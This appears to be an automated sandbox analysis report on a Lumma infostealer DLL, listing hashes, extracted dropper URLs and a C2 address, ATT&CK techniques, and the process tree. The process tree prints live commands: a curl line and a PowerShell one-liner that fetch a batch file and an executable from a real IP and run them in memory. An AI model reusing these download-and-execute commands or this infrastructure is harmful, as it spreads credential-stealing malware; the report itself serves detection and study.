lumma | b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f

Analysis

max time kernel
93s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-01-2025 18:51

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General

Target

b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f.dll
Size

80KB
MD5

07fd51e1e8368144ea403137a671b84c
SHA1

b41a78c43c5bf58f6664cb455130c9501c370f05
SHA256

b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f
SHA512

854a57be09cb09217d268f9e5c2d9ce5da8cbed1fa75c3ec38cc2f1b323377cdbd4db29687fa01e186a1cad6a2ee2e18f8645f98f551eeaa9805269a21354dd7
SSDEEP

1536:Y2ShYtT4To+GdOfoPXRr9tXLtAuQeSVdJssWdcd7IW3+ZR+ueK:Y2z0To+GdlhrbwJJ7IW3+n+ue

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://147.45.44.131/infopage/ioubcs.exe

exe.dropper

http://147.45.44.131/infopage/ioubcs.exe

Extracted

Family

lumma

https://factlosserk.click/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	4140	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4140	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4140 set thread context of 4448	4140	powershell.exe	91

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4140	powershell.exe
4140	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4140	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 3916	3468	regsvr32.exe	82
PID 3468 wrote to memory of 3916	3468	regsvr32.exe	82
PID 3468 wrote to memory of 3916	3468	regsvr32.exe	82
PID 3916 wrote to memory of 4340	3916	regsvr32.exe	83
PID 3916 wrote to memory of 4340	3916	regsvr32.exe	83
PID 3916 wrote to memory of 4340	3916	regsvr32.exe	83
PID 4340 wrote to memory of 4608	4340	cmd.exe	85
PID 4340 wrote to memory of 4608	4340	cmd.exe	85
PID 4340 wrote to memory of 4608	4340	cmd.exe	85
PID 4340 wrote to memory of 4512	4340	cmd.exe	86
PID 4340 wrote to memory of 4512	4340	cmd.exe	86
PID 4340 wrote to memory of 4512	4340	cmd.exe	86
PID 4512 wrote to memory of 4140	4512	cmd.exe	88
PID 4512 wrote to memory of 4140	4512	cmd.exe	88
PID 4512 wrote to memory of 4140	4512	cmd.exe	88
PID 4140 wrote to memory of 4564	4140	powershell.exe	89
PID 4140 wrote to memory of 4564	4140	powershell.exe	89
PID 4140 wrote to memory of 4564	4140	powershell.exe	89
PID 4564 wrote to memory of 1376	4564	csc.exe	90
PID 4564 wrote to memory of 1376	4564	csc.exe	90
PID 4564 wrote to memory of 1376	4564	csc.exe	90
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91
PID 4140 wrote to memory of 4448	4140	powershell.exe	91

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\b260f38480746bb3769dbbc23802b3207b093e552d61b3e787386b94b081e31f.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" -o AppS.bat http://147.45.44.131/infopage/vsgqwn1qxS.bat & start AppS.bat
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Windows\SysWOW64\curl.exe
      curl -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" -o AppS.bat http://147.45.44.131/infopage/vsgqwn1qxS.bat
      4⤵
      PID:4608
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K AppS.bat
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4512
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$url = 'http://147.45.44.131/infopage/ioubcs.exe'; $webClient = New-Object System.Net.WebClient; $headerName = 'X-Special-Header'; $headerValue = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'; $webClient.Headers.Add($headerName, $headerValue); $fileBytes = $webClient.DownloadData($url); $assembly = [System.Reflection.Assembly]::Load($fileBytes); $entryPoint = $assembly.EntryPoint; if ($entryPoint -ne $null) { $entryPoint.Invoke($null, @()); }"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4140
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uakuedc2\uakuedc2.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4564
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88C7.tmp" "c:\Users\Admin\AppData\Local\Temp\uakuedc2\CSC4EA348C9CA1E49F59ED6FAB9BBF6EA6F.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1376
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES88C7.tmp

Filesize
1KB

MD5
a658940183fa3f3a9207533488ebccb8

SHA1
9fad52a76783fbf5a68bbd07c78eb6679e25c4c8

SHA256
7a36335299fbd0d202b6aefb6e131c443622c05e3aac407d585d433e127964f1

SHA512
caa02fd64f3a963a843dd834e5449de40212a580cbeb86a99f861062c6cb2c48a6e73d67382b4fac29cf81435b48f5536924f6c68ac1b2a815db19252c5d037e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dep1lile.isa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\uakuedc2\uakuedc2.dll

Filesize
9KB

MD5
8523bff1ae79a19b82296569be121789

SHA1
9b4bf437b87c2cbd2b70c2a44ff9c40a0ee4d20c

SHA256
0ef01db61f23defe8ced0d866fbe7e5a14fed106482662e75f47790bae6f4fc4

SHA512
b7c137a7d28ba6ec66180088060172024bc266d7caf4f5c61acb4414c990106f60edd64cf5a79c0f32b2c74e46f06b2fa1b35abcb1451dd51855679bf3a059ac

Download Submit
C:\Windows\Temp\AppS.bat

Filesize
5KB

MD5
244582a493f376d9c0f5672292d11ff2

SHA1
95e5011b114869175aebca27f73b11a9b0a2360b

SHA256
ed786fd429082e725242f54db70f1a249c8deb54acb404bf27581fb523915c87

SHA512
59e4943cddd994af1ff8f724eb83065abca723891ab250a3c0a047e612111329f20a2fdba8dafd587c8f638f192b91c2a97d48503df59d3bf6dc7aec766d0d41

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uakuedc2\CSC4EA348C9CA1E49F59ED6FAB9BBF6EA6F.TMP

Filesize
652B

MD5
0f4eee3637957bdef27da9c754fa7cdb

SHA1
63f62b77471ab0b4b08d1a5744053b404b462b6d

SHA256
8bb0dc1313f5ebe70afcb7524b0555633939832208062cd00700926fd717d2c2

SHA512
aee3aa9e48bb1463463e3db7440d293dae00c09e271046ceaa3baabc61e578f71269c266ad4049b9e8a098c7bacccf5f651818eb10ff44d5af46be84e651e85b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uakuedc2\uakuedc2.0.cs

Filesize
10KB

MD5
9a280bef5048674eed1b619db8e0c654

SHA1
f849de0496358992d1c0d40562da1aaede680453

SHA256
84a03780f5ebbf7989a4741b7a51206ac0b64562f2164af7427b5e1dac885d30

SHA512
6a4a1dba810d56dd64238d90e927b048570dbea05ec453826c23d2e267bf960e533ff9446827cba458f7c564b036bbe42613d5d3d7b68dd084cf4a17b2d2be5f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uakuedc2\uakuedc2.cmdline

Filesize
204B

MD5
ebb0e04e7cd48733872fd2ab28daa9d5

SHA1
509478c3151530097d64453322bb85c6bf599602

SHA256
9176dc5dbf3b74fcd9b8daba2919fc169069b6199eab50f63ba0f494ac68661f

SHA512
56a0062cb700f17c9a7b8c922ec61ce09761c2e44e09118e8b0e12f8ccf2b46541f866914e5848f410c04238bacaeb990daeeae1a038eac2196a5e4d69692257

Download Submit
memory/4140-8-0x0000000005E10000-0x0000000005E76000-memory.dmp

Filesize
408KB

Download
memory/4140-4-0x0000000074A20000-0x00000000751D0000-memory.dmp

Filesize
7.7MB

Download
memory/4140-18-0x0000000005E80000-0x00000000061D4000-memory.dmp

Filesize
3.3MB

Download
memory/4140-20-0x0000000006460000-0x00000000064AC000-memory.dmp

Filesize
304KB

Download
memory/4140-19-0x0000000006440000-0x000000000645E000-memory.dmp

Filesize
120KB

Download
memory/4140-21-0x0000000007B60000-0x00000000081DA000-memory.dmp

Filesize
6.5MB

Download
memory/4140-22-0x0000000006930000-0x000000000694A000-memory.dmp

Filesize
104KB

Download
memory/4140-23-0x00000000069F0000-0x00000000069FE000-memory.dmp

Filesize
56KB

Download
memory/4140-6-0x0000000005460000-0x0000000005482000-memory.dmp

Filesize
136KB

Download
memory/4140-7-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/4140-5-0x0000000005670000-0x0000000005C98000-memory.dmp

Filesize
6.2MB

Download
memory/4140-3-0x0000000002E30000-0x0000000002E66000-memory.dmp

Filesize
216KB

Download
memory/4140-2-0x0000000074A2E000-0x0000000074A2F000-memory.dmp

Filesize
4KB

Download
memory/4140-36-0x0000000005150000-0x0000000005158000-memory.dmp

Filesize
32KB

Download
memory/4140-42-0x0000000074A20000-0x00000000751D0000-memory.dmp

Filesize
7.7MB

Download
memory/4448-38-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download
memory/4448-39-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download